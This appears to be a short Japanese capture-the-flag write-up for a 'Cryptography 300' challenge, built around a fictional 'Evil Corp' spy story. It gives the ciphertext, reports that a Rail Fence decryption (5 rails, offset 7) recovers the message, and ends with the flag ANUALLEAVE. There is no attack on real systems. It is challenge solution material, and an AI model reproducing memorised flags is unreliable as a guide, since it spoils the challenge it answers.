ROCCOIVE TRANSFERED THE FIRST PART OF THE FUNDS TO YOUR ACCOUNT BUT I'M GOING TO NEED TO SEET HE GOOD FIRST BEFORE WE CAN COMPLETE THE TRANSACTION THE FINAL TRANSFER MAY NEED TO BE PERFORMED IN PERSON BEACUSE MY ZURICH BANK APPEARS TO HAVE SUSPICIONS ABOUT THE QUANTITIES OF MONEY BEING MOVED AROUND IF YOU ARE AVAILABLE WE CAN ARANGE A MEETING POINT AND COMPLETE THE DEAL YOURS DONNIE
ZURICH
03 (Cryptography 300)
問題の暗号文は以下の通り。
GTHTI UHWSE ESLDL MUSDO RIROA SRGER TAETL VSSAT OAONT EGESN EOTNT GWPWI AFLAE OAIYA EAWTT SMENO LTOTO AIASH RKLIC EEEYO ESSUR NDBTA TNOES CMORI CEEIW GDECO HSGEN UISIY EAERE YBEHT LSRLN ADFHR SNTRM SUACU TTNRH EWDHA EEIIO RHEND PFOLT TGHSC DULWT NSNEO IHREG EWDEU IUEMC APIOI VORFT USTGP OOAOE HEOER BOEPB DHOBA BEATT ENESE WTBTK KEIED ICTIR EPOTE LLENO EEPIO IAAMC ONONY OEHEN ESIMT LFEIV CEHOR AHSET ETENL EHAPS TRRWE ISAVR HVGTL BPERI TOKER AIIPO HNIIC ONIAP BSMMF HAYST UDLYM NONPA REBTH MLOEH NRTEU ITOCY GSSIE VOEMR ODTEI IEENI CUOFS WFUMS TAHSP PCILD OOYUE ENBCE IAEVO TAEGK FSEAH DLCLE PNTIC CNPEE TNOLL AITME EOTCH RMRIT ANANH LWTOU EOECA AHUTO BTRSA UC
CryptoCrackでいろんな暗号でクラックしてみたら、Railfenceで復号できた。
Rails: 5 Offset: 7 agentgreatworkwiththefirstmessageineverwouldhavethoughtitwouldbeasimplecaesarcipheritlookslikeevilcorparedefinitelyuptosomethingsuspiciousroccoanddonniebothappeartobeseniormembersofthecompanyboardsothiscouldbereallybigwemanagedtointerceptanothermessagebetweenthembutitlooksliketheyveincreasedtheirsecurityabitmorethecryptologistsarestillonleaveandnoneofthemarerespondingtotheiremailiassumewecancontinuetocountonyouforthesewhenwefoundthemessageitcamewithaslipofpaperwhichiveincludedaphotoofforyouallthebestagentbthesecretcodeisanualleavewithoutanyspaces
スペースを入れていくと、こんな感じの文章。
agent great work with the first message in ever would have thought it would be a simple caesar cipher it looks like evil corp are definitely up to something suspicious rocco and donnie both appear to be senior member soft he company board so this could be really big we managed to intercept another message between them but it looks like they've increased their security a bit more the cryptologists are still on leave and none of them are responding to their email i assume we can continue to count on you for these when we found the message it came with as lip of paper which i've included a photo of for you all the best agent b the secret code is anual leave without any spaces
ANUALLEAVE